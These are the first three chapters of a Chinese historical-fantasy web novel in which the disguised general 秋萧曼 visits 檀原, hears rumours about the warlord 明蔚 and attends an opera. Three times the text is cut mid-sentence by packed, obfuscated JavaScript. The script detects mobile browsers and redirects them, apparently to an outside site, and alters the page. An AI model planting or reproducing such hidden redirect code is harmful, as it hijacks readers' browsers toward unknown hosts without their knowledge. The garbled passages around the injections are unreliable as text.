《折腰事秋瑟》 1. 噩梦 “咣当”一声,马车骤停,秋萧曼从噩梦中惊醒。 茶炉上的壶彻底倾翻,滚烫的开水直泼在她厚重的衣裤上。 她下意识避开,却仍浇湿了袍面,渐凉的水逐渐浸洇,如梦里被血浸透的感觉。 梦里的惨绝人寰依旧未散,秋萧曼闭目揉额,血腥再次浮现。 烽火连天,绣着盘蛇图案的雯桦【秋】字战旗倒戈。漫山遍野的残肢断臂被火海舔舐,晴空也被映成了颓败的红。 焦糊气味随着小心拂过的风蔓延开,让她依稀看到硝烟之后被数万身着银甲的明蔚大军围成的铜墙铁壁。 密密麻麻的人影抵近,淌过川流不息的浓稠血河,朝着独处人间炼狱的她恶意挺近。 太过真实的梦让秋萧曼身临其境,她深深吸了口气摆脱梦魇,才想起已进明蔚地盘许久了。 洇湿的潮冷已将里衣浸湿大片,这会凉意更添恶寒。她随手敛了块干布擦拭,同时掀开车窗帘查看止步原因。 马车外,一袭灰色棉衣棉裤的公山贺正蹲在车轱辘旁破口大骂,也不知何事能叫这个膀大腰圆且一向随和的麾下副尉发这么大脾气。 秋萧曼问:“怎么了?” 公山贺郁闷至极,疲惫的脸色加上深深的川字纹,显然正极力克制情绪。 “自打进了檀原,换的三辆马车没一个好使的!” 这是牢骚却也属实。 这一路,不是马太老突然断气,就是马嚼子工艺不佳令马逃窜,这次看上去像是轮子出了问题。 秋萧曼没吭声,放下车帘的同时拿了件斗篷。 “明蔚七年灭六国,缴获的王廷财宝数都数不过来!檀原的官驿竟拿不出辆像样的车?!”公山贺气盛,他手臂横支在腿上,着实一副厌倦神色。 难得听他发牢骚,护在另一侧的魁梧男人也从车后绕了来,许是因周围来往客商繁杂,卫光谨慎地窥视四周-,压着声音提醒了句:“明蔚的地盘,说话谨慎些!” 公山贺负气一瞥,干脆站起身来,叉腰留意起周围路人,真怕方才一席话传到有心人耳朵里。 夜幕初降,官道上赶着关城门前进城的人不少,入目皆是行色匆匆,倒无人留意他们几个伪装成朴素游商的人。 卫光弯下腰,推了推塌下去的车厢,又仔细观察断开的车轴才下结论:“轱辘没法用了,推都推不动。” 说话的功夫,秋萧曼已从车内下来,她不关心这车要如何处置,只利落地卸了匹拉车的马。 “总也不能把车弃在这。“卫光起身和公山贺商量,发现秋萧曼已熟练在马背上装了鞍,便与公山贺心照不宣:“最后三公里,老板怕是不愿留下来引人注意。” 毕竟雯桦是中原一带除却檀原以外剩下的唯一外族,其他几个比雯桦还大的国都被明蔚灭了,他们几人哪敢明目张胆… 眼见秋萧曼翻身上马,公山贺知道她想自己去官驿寻驿卒帮忙,便也利落地卸马架鞍,匆匆追了句:“我同老板一起!” 无时无刻的拥护让卫光早已见怪不怪,他刚把两只手臂插到一起取暖,就听路过的人打了个生硬的喷嚏,吓了他一跳。 “怎么今天这么冷!”男人缩着脖子朝手掌哈了口气。 同行的妇人也搓搓手,抬头看天上的乌云厚重:“快走吧!晚上要下大雪嘞!” 二人随即加快步子,顺手往盘坐路边的乞丐破碗里放了两个铜板。 袭来的微风让卫光也跟着打了个寒颤,不免同情那些个无家可归的人。 “别说,还真是冷!” 公山贺一边搭鞍一边瞅着卫光也在那乞丐碗里放了颗璀璨的雯桦瑰矿。 眼见天色更沉,微风不断。 乞丐立刻收摊,又对卫光一通感恩戴德地磕头道谢,此情此景也终于让高坐马上的盈月之仪沉了面色。 瞧着乞丐离开的佝偻背影,公山贺已将马鞍系好,对卫光道:“你还真阔绰!指甲盖那么大的瑰矿你知道能换多少檀原金?!” 卫光:“二两吧也就。” “你口气真大!”公山贺嘴角一撇,“在雯桦不值钱,在檀原这么点小矿够他好吃好喝半年了!” 卫光此前没来过檀原,更不了解雯桦瑰矿的价值。他又瞅了眼已跑没影的乞丐,卖惨的拐都不要了,恍然道:“怪不得收摊了呢…” 话音才落,秋萧曼比寒风都冷的声音忽从他身边传来,下令的口吻生硬道:“卫光办事我放心,就只交代一事——” “——别施舍,别捡人,别多管闲事…”公山贺截了话去。 毕竟这已是老生常谈的嘱咐,公山贺不以为然,卫光就更别提了。 ^ 三公里的路程公山贺始终小心翼翼跟在离秋萧曼半个马身的位置,一来不逾矩,二来能听到指令。 注意到秋萧曼的马速降下来,公山贺跟着放缓,顺着她深邃美目凝着的方向看过去。 五十步外,并行八人的官路正被不少看热闹的人围观,堵住了过路的车马。 “去看看。” 秋萧曼樱唇轻启,语气着实不暖。 公山贺立即喝马上前,还未走近就见道路中央躺着个披头散发且瘦骨嶙峋的男人,大冷天的男人只着了单薄衣衫,开膛破肚的惨状引得围观众人议论纷纷。 “怎么死这了?!” “死囚还是明蔚捉的战俘?” 正想回去汇报的公山贺才调转马头,发现秋萧曼已跟了上来。 “战俘不都关在死牢了吗?” “哪啊,没听说明将用战俘喂狗啊!” “别说这伤口倒像是野兽所为…” 唏嘘一片。 “真是可惜了,好歹曾经也都是繁盛小国,如今惨死异乡…” “这还算好的!你想想被明蔚屠戮的王宗呢?哪个不比这惨…” … “真庆幸咱是檀原人!” … 随着武星城内派来的衙役迎面赶来纾解堵塞,秋萧曼漠然调转马头,对公山贺道:“走小路,绕过去!” 公山贺连忙跟随,才上小路便已迫不及待开口:“将军这次冒险来檀原真是只为看病重的大伯父?” 秋萧曼面色依然凝重,却也犹豫地瞥了他一眼,毕竟她半夜启程时可都没提前打招呼。 “这次回瑰都,始终有人在传檀原要攻打雯桦。” 猜是这个原因,公山贺不解其意:“那将军怎么还敢这时往檀原跑?!” “这些年,曾经雄霸中原的六国尽灭,但你可曾听过关于明蔚本人的任何?” 公山贺想了想,“只知这人喜怒无常,常年金甲覆面,把自己围的严严实实的。” 秋萧曼点头,“就像黄口小儿歌谣里传的,连肤色都无人知晓…” “将军想未雨绸缪?” 秋萧曼眉宇间多了几分忐忑,仍旧惜字如金。 “先打听打听。” 到官驿寻了驿卒帮忙后,秋萧曼进城便与公山贺兵分两路,一个去换了身干衣服,一个去安排食宿。 一路上秋萧曼都没打听到什么有价值的消息,只知道檀原内明蔚早已凭借着多年功绩只手遮天,也因此引来政敌无数。 带着仅有的消息去公山贺留口信的酒楼,瞧见短短功夫已和周围人打成一片的膀大腰圆早叫了一桌子好酒好菜等在一边。 秋萧曼边走近边环顾,临座前问:“卫光呢?” 公山贺正和旁边的酒客聊得欢,瞧着一袭灰衣灰披的秋萧曼走来,连忙收敛闲散,也朝门外瞅了眼,“还真是,怎么这小子还没来?!” 想是卫光应与秋萧曼是前后脚,秋萧曼挪回视线时敛起木箸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秋萧曼缓缓走着,官道上被开膛破肚的人再一次与她梦魇中的尸积如山同时浮现脑海。想到此行风险极大,她疲惫地捏了捏额心,也没什么再去打探消息的心情,直接抄小路返回客栈。 客栈门前,跑堂出来送客时正巧认出秋萧曼那张足以令人目酣神醉的脸。他热情上前,指着长街转角:“那是您的随从吧?” 秋萧曼顺着他视线看过去,看到转角后不起眼的位置停了辆褐盖马车,正被家转角铺子的灯箱挡着。她稍探身,才发现车厢后站着个一身灰色袍袄的人,被挡住正面,只露了厚重的一侧肩和双腿。 瞧她并无反驳,跑堂这才给她手里塞了张允许进入后院的木牌,“您让他把马车停后面,方才我忙着招呼客人就耽搁了。” 秋萧曼道了谢便朝卫光走过去,也不知他正捯饬什么,就连自己走到近前都没发觉。 “你怎么才回来?” 生冷言语比伴雪吹来的风还要凛冽,竟让一向稳重的卫光惊慌地掉了手中水囊。 这般神色格外少见。 秋萧曼当即觉察出不对劲,上前几步绕过车厢,继而撩开车帘,就看漆黑的车厢里正斜倚着一个人。 借着街上明光映照,看清藏在黑暗中的人蓬头垢面,一身被染脏的雪衣单薄,袖口还洇出一大片血。 这样子着实和官道上的死人装扮极为相似。 但随着窗帘飘动,碎光落在男人紧闭眼角时勾勒出的悲惨确实勾起人几分怜惜。 秋萧曼正要质问,卫光先开了口。 他语气早已没了印象中的冷静沉稳,反倒着了魔似的带着急迫的恳求,“老板救救他…他还活着!” “?!” 2. 男人 “你说什么?!”秋萧曼惊讶于卫光的反应。 “他还活着…”卫光仰头看了眼下得更急的雪,“若是不管他,会冻死的…” 瞧着他先前不顾寒冷盖在男人身上的披风,秋萧曼又把视线落在奄奄一息的男人身上,好奇:“他什么人?值得你不顾一切去救?!” 卫光:“是个哑巴,晕倒在我车前…若不是连官驿的人都不愿管这种闲事,我也不会就这样把他救回来。” 瞧男人身上的素衣染地极脏,修长的手指边却连乞讨的家伙也无,秋萧曼断定他不会是个乞丐。 借着昏光,她倾身拨开男人面前碎发,完全露出那张仰靠在车壁上的脸。 虽然双目紧闭,但剑眉峰鼻,唇如仰月,□□血染脏的肤面细腻,将他五官衬得尤为清晰俊朗。 即便此刻不省人事,他靠坐车厢的姿态却如松骨舒展,再狼狈的皮相也无法掩盖其骨子里透出的华贵。 这样一个人,卫光也敢捡?! 秋萧曼退出车厢,断言:“看姿色像是谁家跑出来的男宠。” 随着周围陆续有人注意到车厢内的男子,秋萧曼不愿在客栈门口显得招摇。她将车帘落下,继而冷漠道:“戏子或男宠可不是咱们能帮的。” “为什么?!” “能养得起男宠的定是当地世家贵族,若他真做错了事,大可被一刀毙命。如今没杀他,就说明还会有人来找。” 卫光不甘心,上半身再次探进车厢把男人袖口撩开,“他指头都被切断了!总也不能见死不救!” “是我切的么?”秋萧曼终于流露出几分怒意,甚至都不在意男人掉的是指头还是手,“谁又知道他做了什么事把主人家得罪了。” 话里话外的意思无非是男人活该自找的。 卫光了解秋萧曼的脾性,如今出门在外,她更不可能无缘无故地帮谁,可他过不去自己的良心,再一次帮男人求情。 “至少让他去客栈里过一夜,今晚这雪怕是要下一夜,这样会冻死的。” 秋萧曼终于失了耐性,目光落在正朝他们迎过来的掌柜身上。 “即便他死在这,该担心影响生意的也是掌柜,又与你何干?” 不知秋萧曼会不会借着这个事罚他。 扣除几个月的俸禄是小事,顶多向同僚借一借贴补家用。但若将他从目下的职位调走,可就是大事。 想做他这个位置的大有人在。 卫光不像公山贺是跟着秋萧曼长大的,情谊自然深厚。他可是通过层层选拔,熬了多少年熬出来的,换句话说,秋萧曼更看中的是他卫光的价值。 本还抱着一丝侥幸带男人回来,此时此刻秋萧曼的决绝让卫光不得不向现实低头,虽没答应,但视线已在男人身上徘徊。 秋萧曼明白他的为难,单手拍了他肩膀一下,力道很沉,仿佛带着千言万语的劝阻和安慰。 掌柜也刚好走过来,他哄散围观的三三两两,又试探地看了眼车厢内的男人,对秋萧曼和卫光温声劝:“放心,他死不了。” 显然,掌柜也不愿多管闲事,依旧热衷于服务,对二人解释:“也不是咱没这个好心,万一帮了他惹上大麻烦,可就不好办了。” 秋萧曼没再等卫光消化情绪,跟着掌柜往客栈走。 “我们是外地游商,对武星城的情况不了解。救人不是好事吗?会惹什么麻烦?” “陛下可是最不喜这种男风的,如今檀原谁还敢明目张胆养男宠?” 秋萧曼没吭声。 她先前就有所耳闻,檀原王秉性纯良端正,最无法容忍的就是龙阳之事。 因此在首辅斟天泽的劝说下打扫了一批不端正的曲苑艺馆,就连荣悦公主养的面首都被挂上有辱国风的帽子,处置了一批。 掌柜手掌压在嘴边,低声猜:“允许这么俊的男人四处招摇,恐怕也就明将那条线上的了…” 忽然想起方才酒楼里的醉客所言,秋萧曼不免缓了步子同掌柜确认:“明将真喜欢男人?” 掌柜左顾右盼,小心翼翼观察四面八方的食客,确保没人偷听才又道:“老板这么不关心实事...这不众所周知的嘛。” “如今檀原上下能让陛下睁只眼闭只眼的就属明将了,谁让人家立功无数呢。” 秋萧曼这才恍然老板不救那男人的原因,又试探:“据我所知,明将不是长居文泽?怎么来武星养人?” “明将向来行踪不定,武星也有他安置的宅子。”这时候刚好有人喊掌柜过去,掌柜加快语速欲将话讲完:“明将也顾着陛下的面子从不把这事放在台面上的,所以更加帮不得,费力不讨好,搞不好还落个罪名。” 掌柜匆匆结束对话。 秋萧曼正要迈进客栈门槛,若有所思地又瞅了眼卫光所在,只见他仍叉腰站在原地犹豫不决。 ^ 连着三日梦魇,难得昨夜安然睡了一觉。 秋萧曼起身后伸了个极致的懒腰,走去推开窗子,让清新寒冷的空气唤醒自己不愿苏醒的神经。 窗外依旧落雪,鹅毛大的雪片涌进窗口,落在地上瞬间成了水滴。 不过一宿的功夫,天地间都覆满了厚厚的白,入目的清爽洁净努力洗刷秋萧曼脑海中挥之不去的血腥和灾难。 她狠狠吸了几口清寒的空气,想尽快摆脱那个不祥的梦,即便收效甚微还是令她心头沉重稍稍松懈了几分。 咚——咚——咚—— 敲门声令久违的惬意戛然而止。 秋萧曼关了窗去开门。 公山贺正站在门外,手里提了几篮刚买回来的水果、点心。 想着今日要去拜见久居武星的大伯父,秋萧曼用最快的速度梳洗后,在公山贺陪同下出了门。 “卫光呢?”秋萧曼边整理披风边问。 “刚去找他,他没应门。”公山贺同时将马鞭递给秋萧曼。 觉得新奇,秋萧曼不免缓了步子。 卫光从不是偷懒的人,却因昨晚发生的事让秋萧曼心里徒升一种极其不好的预感,她当即脚步一转,去卫光房间亲自喊他。 敲了几下仍旧无人应门,秋萧曼正打算破门而入,脸熟的跑堂正好从身后经过,一脸热情对俩人说:“这屋的客人方才去马厩了。” “车又坏了??”这是公山贺第一反应。 小二笑道:“没有没有,驿卒说是这屋的客人约他们今早来给马车加个什么部件。” 两人因此同小二下楼去,秋萧曼发现自己的马已被准备妥当拴在门口的马柱上了,显然是卫光早起准备的。 不论卫光昨夜做了多离谱的事,但秋萧曼始终最满意卫光的便是他的细致入微,放眼手下这么多精兵强将,却是无人能与他相比。 但这心软的毛病始终让秋萧曼头疼。 不放心昨夜卫光如何安置了那个男人,她同公山贺特意去了趟马厩,却发现驿卒正围在马车旁与卫光交谈,知是卫光担心轮子再出问题,让驿卒把四个轮子都加固。 瞧着此时已然腾空的车厢,秋萧曼心下一松,没再追问昨夜情况,便让卫光留下,她只带公山贺出了门。 雪依旧在下。 掌柜热情地同她打了招呼,出门时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598211|171932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现昨日驻马车的位置放着几个破碗。 想那男人或许被乞丐救了,秋萧曼跨马而上,又确认公山贺带足的礼品,朝着武星城东北方靠城中的方向驾马而去。 大伯父秋世朝是父亲秋世博同父异母的大哥,当年祖父病逝,姨外祖母想念娘家,祖母便没勉强她留在雯桦。 大伯父也是在那个时候,陪伴姨外祖母回到娘家。前些年姨外祖母病逝,又赶上各国离乱之时,大伯父便拖家带口离开人多口杂的婺黎来到武星,自此安定下来。 秋萧曼记得小时候父亲同大伯关系最好,为了维系这段兄弟情,秋萧曼每年冬夏也会被送来大伯父家住上一阵子,她耍枪的本领还是跟大伯父学的。 回忆的功夫,两人已到秋府门外。 公山贺去夜刚到武星时就已让信差送信到秋家告知今日会来拜访。此时秋府蓬门大敞,头发花白的主人已匆匆迎出门。 “曼曼!” 几年不见,大伯父已是两鬓斑白,憔悴的病容令人心生凄然,秋萧曼忙迎上前搀扶,“大伯父病成这般,怎还出门迎?” 扶在另一侧的大伯母容爰美急促道:“不放心你啊!这时来檀原不等于往虎口里跳?” “哎呀——”秋世朝忙打断,“——来都来了,你吓唬她作甚!” 容爰美立刻止言,便听秋萧曼问:“伯父伯母听到了什么传闻?形势都已成这般?” “哎——不过是我们这些闲人打发日子的闲谈…”秋世朝轻咳两声,缓缓走进府门,“半年前明蔚才攻下哲合,这时候再打雯桦显然不是最佳时机。” 虽是句安抚的话,但也透露着明蔚要打雯桦的决心,不过是何时打罢了。 沉重的话题让秋萧曼沉默下来,同伯父伯母穿过庭院,直至走到会客的大堂。 堂内早已准备好了火锅,隔着小院子都能看见锅内蒸腾出来的雾气,精致的景泰蓝碗盘摆满了双层的圆桌,餐碗旁还用细颈宽肚的小瓶插了新鲜的腊梅装点,可见是费了一番功夫的。 公山贺将手里的礼物都交至管家安排的仆从手中,三五个人陆续走开后,秋世朝一如既往地嘱咐:“下次来别买这么些东西,你这大忙人能抽空来看我们就是最好的。” 秋萧曼规规矩矩答:“上次伯父就是这般讲的,这次便没买什么——” “——这么多点心,果子,还说没买什么...”大伯母知道她孝顺,从挂在腰上的荷包里取了块清透的玉石,放在她手里,“找玉石大师刻的,昨天听说你要来,我忙去寺里开了光。我和你伯父也帮不了你什么,就希望你平平安安。” 看着掌心那块还有温暖的清澈玉佛,秋萧曼不知该怎么表达内心的波澜,只在玉佛的温度消散前握紧在手心,半晌才说:“谢过伯母。” 了解她性子的都知道她自小就冷冰冰的,说不出什么温暖人心的话。 伯父笑了,伯母慈爱地轻抚她后心,推着她往堂里走。 几人刚刚进屋,秋萧曼后知后觉突兀开口。 “——这次没买什么,只给伯父伯母带了五箱瑰矿。” 二老登时愣住,“五箱?瑰矿???” “聊表心意”四个字才刚刚脱口,秋世博便重咳了几声,“即便武星相对富庶,乞丐都少之又少,这么多瑰矿也够买下半个城了!” “乞丐少?” 秋萧曼眉心一拧。 秋世朝连忙解释:“武星豢养戏子宠儿的贵族不少,说是攀比富贵,实则都在跟风明蔚。可明蔚早前在武星时就说过不喜乞丐,上上下下的贵族哪还容得下乞丐在眼皮子底下晃悠…” 3. 专宠 瞧着秋萧曼陷入沉思,公山贺又问:“不是说檀原王不喜男风吗?武星还能这般猖狂?” 秋世朝:“不喜是不喜,但武星离京城隔着千山万水呢,檀原王手再长也伸不到这来。” 回忆起昨日酒楼听到的议论,再想起官道上所见的死人,公山贺不免好奇:“昨日来时,郊野官路上死了人,被开膛破肚的样子着实吓人。有人说是战俘有人说是死囚,终也不知身份。” 秋世朝捂着嘴又咳几声。 “想必是死囚吧!这明蔚也是个奇怪人,虽说对旁的小国皆是残暴无制,对檀原人却是极好的,据说每个死囚都能有活命的机会…” “怎么个活法?”秋萧曼不解,“开膛破肚若能活下来便可以走?” “说是这样的,所以这种事在武星已是屡见不鲜了,郊外多行旅,自是对此事不熟。”秋世朝又道,“不过明蔚这些年开疆辟土的花费不薄,国库空虚,檀原王才想起开源节流。” “开源节流?”秋萧曼认真地听,也忽然明白檀原攻打雯桦的消息是因何而来。 “如今,中原除却檀原只剩雯桦。这些年,明蔚攻占那么多小国,哪个不比雯桦大?但你看檀原得到什么了?” 秋萧曼心不在焉喝了口热酒。 “官府没银子,官驿买不起好马好车,老百姓的税负都增重了。”秋世朝叹气,“这时候所有人都把目光放在了雯桦上!突然拿着这么些瑰矿去换银子?不明摆着是去官府面前招摇吗?” 看着容爰美刚夹到盘中的肉和菜,秋萧曼始终没有半分吃饭的心情。 秋世朝让人把装了瑰矿的箱子封好,“朝廷巴不得找个什么由头去攻雯桦呢,也好因此摆脱早些年所谓盟国的噱头。” 盟国? 那已是十几年前的事了。 秋萧曼心不在焉吃了口变凉的菜,如同嚼蜡。 “明蔚一直在为檀原开疆辟土,如今国力空虚成这样,哪能支撑他再去进攻雯桦?” “明蔚的兜可深!那么多个王廷,檀原还这样?你想想那些财宝去哪了?总不能人间蒸发了吧!”秋世朝声音压低了些,显得谨慎:“就同他养戏子男宠,檀原王不过是不愿招惹他罢了,毕竟留着他用处还大。” 如今听到秋世朝这番言论,秋萧曼更为忐忑。 明蔚的强大是肉眼可见的,没人了解他,所以他最擅长的就是出其不意。听说有的小国王还在沐洗时,脑袋就被削了。 若他真有攻打的实力,而只是在等时机,那就太可怕了。必然要把更为森严的防守提上日程。 瞧着秋萧曼满面郁色,秋世朝摇摇头却不再说只言片语,忽然的沉默仿佛在感慨这样的局面对他一个将死的人不知是喜还是忧。 惯于圆场的公山贺连忙岔开话题,“想当年将军十七岁初出茅庐就用您教的枪法缴了几个西戎游牧部落呢!咱也不用怕那个明蔚,说不定是虚张声势的谬传!” 这时能帮秋萧曼开解情绪的也就只有公山贺了,瞧着这个比秋萧曼大三岁的男孩如今也长得这般魁梧硬朗,秋世朝多少欣慰,打趣道:“如今对你们家将军又崇拜又敬仰?” 听到两人这般无谓身份和长幼的闲谈,秋萧曼肃面才终于得到些缓解。 “何止敬仰!”公山贺笑咧咧把两只厚重的掌在腿上搓了搓,颇显激动,“我可时时谨记夫人说的,事事拥护!” 秋世朝笑了,朝他伸了酒杯,认可:“那确实做得不错!” 瞧这位病颜长辈赏了自己这么大的脸面,公山贺一连喝了三杯,以表尊敬。 跟着缓和了心情的容爰美也在这时从袖兜里取了个红封,递给身边的秋萧曼。 “明蔚再急迫也不会近期有所行为,毕竟曾从雯桦嫁过来和亲的公主还有几个月就临盆了,檀原王不会允许王子降生时发生血光之灾,寓意可是不好。” 秋萧曼倒也听说了这个消息,领会大伯母的好意从她手里接过红封,直到拆开来看到两张戏票。 容爰美解释:“你伯父经常说知己知彼百战百胜。” 秋世朝闻言扭过脸来,“这是苍舒雅的戏票,他的票千金难求,只因他是明将最宠的戏子。” 秋萧曼:“苍舒雅?男人还是女人?” 容爰美和秋世朝对视一眼:“自然是男子。” “还真是招摇。”秋萧曼轻叹,将戏票递给公山贺保存。 “据说明将被这个戏子迷得五迷三道。”容爰美饶有兴致地说起自己平日关注,脸上更添迫不及待说出口的热情,“你可没见他给这苍老板大摆戏台的场面,可是疼爱至极…” 听她这般说,秋萧曼当即想到:“既然这戏子在武星,是不是说明明蔚也必定在?” 容爰美又给秋萧曼夹了些肉和菜,盘子里堆得满满的。 “那应该不至于,据说明蔚虽不怎么回京都,却时常呆在文泽。苍老板前几日刚从文泽回来,想也不至于这样如胶似漆的。” 因提到明蔚和战争,这顿饭吃得郁郁寡欢。 陪秋世朝手谈了几局,秋萧曼便借着看戏告别了两位长辈,比预想的计划提前了不少。 回程的路上,秋萧曼牵着马慢悠悠地走,愁眉不展的样子令公山贺担忧。 他试图安慰:“再怎么说,明将也是个人,是人总会有弱点吧?” “你想说苍舒雅是他的弱点?” 秋萧曼不是没这么想过,但这种可能性微乎其微。 “我想说为什么非得兵戈相向呢?” 公山贺这么个人高马大的人说出这样的话,可颠覆了秋萧曼对他的认识。 “正是因为有弱点,才要用武力压制。如果什么事情都能和解,檀原王还能让明蔚横行霸道?只怕早被五马分尸了。” 这么说倒也合情合理。 明蔚可是习惯了以暴制暴,杀神的名头不是白来的。 最难的事就是揣测人心,秋萧曼当下没什么精力去猜明蔚为什么善用武力。 公山贺也不再自讨无趣,干脆转移话题,指着马鞍两侧的箱子问:“这几箱瑰矿,老板打算带回去还是换了银子再送到秋府?” 几箱瑰矿占据了整个马身,瞧着公山贺的马吃力地喘着粗气,秋萧曼说:“大伯父的顾虑是对的,但下次再来又不知是何时,他看病养气怎么都要用银子。留一箱换些现银,其余暂且带回去。” 这样的安排妥当。 一箱瑰矿虽然价值高昂,但不会那么张扬。毕竟是往来的游商,拿着瑰矿换些银票也是正常的。 两人不知不觉走到戏楼。 双层的翘角建筑坐落在武星城中靠近县衙的位置,能在这个地段开戏楼,显然是受到官家扶持的,否则这么好的地皮也落不到低人一等的戏班手里。 秋萧曼牵着马到相对较空的拴马柱拴马,出其不意发现对侧那根拴马柱上挂地满满当当,稍加留意就能看出围站一圈的全都是价格不菲的高壮良驹。 “看着不像寻常百姓家的马。”公山贺也注意到这个细节,边拴马边说。 何止不像寻常百姓的马,即便商贾也买不到这么健硕的纯种马。 出于好奇,秋萧曼栓完马,朝对面那根拴马柱走过去。隔近了便能看到明晃晃的马鞍和脚蹬上都镌刻着“明”的字迹,只不过字小不显眼。 没等再靠近,已有带着瓜皮帽的小卒走过来不耐烦地赶人。 公山贺立刻对小卒挤笑圆场:“没见过这么好的马,欣赏欣赏。” 小卒什么也没说,点头表示理解,恐怕早就习惯了这样的事。他不耐烦地对两人摆摆手,提醒不要再靠近生事。 秋萧曼调头走上台阶,拿出方才大伯母赠的两张戏票,交给站在门外的两个身材魁梧的门子。 苍舒雅在檀原国都是数一数二的名角儿,能搞到他票的人也定是在檀原德高望重的存在,好在大伯父开武馆,平日里接触的都是地位显赫的贵族,搞到戏票轻而易举。 门子将二人前后打量一番,确认没有武器和威胁就开门允二人进入了。 戏班班主迎上来招呼,带着二人走到上层一个坐满半扇人的看台,招呼着跑堂倒茶拿果点后就匆匆下了楼。 直到看台坐满,戏楼的窗帘全部拉起,四周陆续点亮灯架和灯笼,才说明戏要开场。 但半柱香的功夫过去,锣鼓声始终未响,一层舞台附近依旧静悄悄的。 周围逐渐传来看客的议论纷纷,心不在焉的秋萧曼注意到一层唯一一处看台上人影窜动。没多久,就见个穿着戏服的人从连接后台的甬道里碎步走出来。 他画着浓妆,扮相极好,却恭敬地与坐在看台正中的男人低语了什么。不知发生何事,男人忽然起身,侧过脸来对旁边的侍从匆匆下令。 秋萧曼这才看清男人的方脸。 他叫木良畴,是明蔚的心腹大将。还是几年前檀原王大寿,秋萧曼随使团祝寿时见过。 同样认出木良畴的还有公山贺,他神色一凛,压着声音对秋萧曼说:“明蔚果不其然在!” 坐在二层的位置倒不担心被认出,但秋萧曼却注意到木良畴神色紧张,不知跟周围人又交代了什么,一群人神色局促地开始往外撤。 却始终没见到带着金色面具的人。 秋萧曼又谨慎地观察周围,除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598212|171932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了画着浓妆的戏子外,就是穿金戴银的看客,可不像有明蔚在的排场。 木良畴带着人走下看台匆匆离开,身后还跟着那个方才与之交谈的戏子,与此同时戏楼中遮窗的帘幕也被拉开,刺眼的光线从窗外射进。 正在大家疑惑不解时,戏班班主咚咚咚地踩着木梯上楼来,极尽友善朝座无虚席的看客们赔笑脸。 “苍老板被官府带走了,要回去问些事情。” 看台上一阵唏嘘,但见一层各处都是站姿端正的人,显然是受过训练的军卫,便更心知肚明是明蔚把人喊走的,于是无人敢抱怨。 “实在抱歉,近期再安排苍老板的戏,我亲自给各位老板送票去。” 班主态度极尽诚恳,即便看客不满,也说不出个所以然,毕竟人家边说还边赔了银子。 虽说只是个指节大小的小银锭,那也是寻常人家半个月的口粮。出手这般阔绰,想必也不是班主的意思,应是木良畴交代的。 “檀原都这样了,明蔚还是挥金如土?”刚被分发了小银锭,公山贺拾起时小声说。 这东西在秋萧曼眼里自然不值钱,跟个石头子没区别,她却示意公山贺低调,只说:“收着。” 随着退场的人群缓缓向外走,秋萧曼起身率先走近班主,等待人群从狭窄的楼梯一个一个离开。 趁着这空挡,秋萧曼看似无意地和班主搭起话来,“苍老板犯了什么事?众目睽睽下被带走?” 班主同方才态度相近,虽说倍感歉意,但看着秋萧曼的眼里仍有惊奇:“老板怕是不了解苍老板的背景?” 回忆起大伯母他是明蔚专宠,秋萧曼点头以示了解,感慨:“可真是感情甚笃,苍老板不是才从文泽回来?” “这已经算好的啦。”班主倒不设防,“此前可是每日都待在一起。这终于也相看两厌,前些日子还让各大戏楼挑选相貌好的小生送过去。” … 秋萧曼着实瞧不上这种勾当,更不了解此类作风。 她给公山贺递了个眼神,公山贺立刻会意,问班主:“既然寻觅新欢,苍老板怎么又被接回去了?” “跟了这么些年,心头肉也不是说换就换的。”班主解释时难抑心中骄傲,“苍老板可是曾经被明将亲自救过的,所以感情自是不同。” 即便公山贺是男人,说到这种情事也难免生硬地笑笑:“真是羡慕苍老板能寻得这样的靠山...” 苍舒雅可是这个戏班的顶梁柱,班主着实为此感到自豪。 他引导两个人往逐渐稀疏的队伍末尾走,炫耀:“那可不是个一般的靠山!八年前的五国之战死了多少将士?明将可是死人堆里爬出来的!身上都是用血包了浆的!” 五国之乱时秋萧曼还没接管父亲这一摊,也侥幸因为雯桦的地理位置而躲过一劫。 她只知那时四国联合攻打檀原,世人都猜测檀原会被四分五裂时,明蔚却陆续提着四个脑袋回来见的檀原王。 自此,明蔚名声大震,也是他给了檀原百姓无限生机。 “都说明将凶残,但他待檀原的子民还是好的。”班主走在两人最后,“苍老板说此前明府还释放过一些奴籍少年,明将亲口说不能毁了少年们的前途。” “倒是听说明将的军营里就有个养济所。”公山贺说。 这个消息属实,因为檀原王曾因此赞颂过明蔚的品行。 “明将虽然性格古怪,但都知道他从不欺压弱小。”班主说,“这也是苍老板忠心耿耿只跟着他一人的缘故。” 出了戏楼,秋萧曼和公山贺直接回了客栈。 进门时,刚好遇到掌柜在门外劝说行旅住到别的店去。 客栈并未住满,不招待客人还是罕见的,毕竟武星城有名的客栈就这么一家。 公山贺跑去打听始末,才知这家客栈被首辅的侄孙彦项文包了七日,说是因调任到武星,准备招待拜贺的宾客。 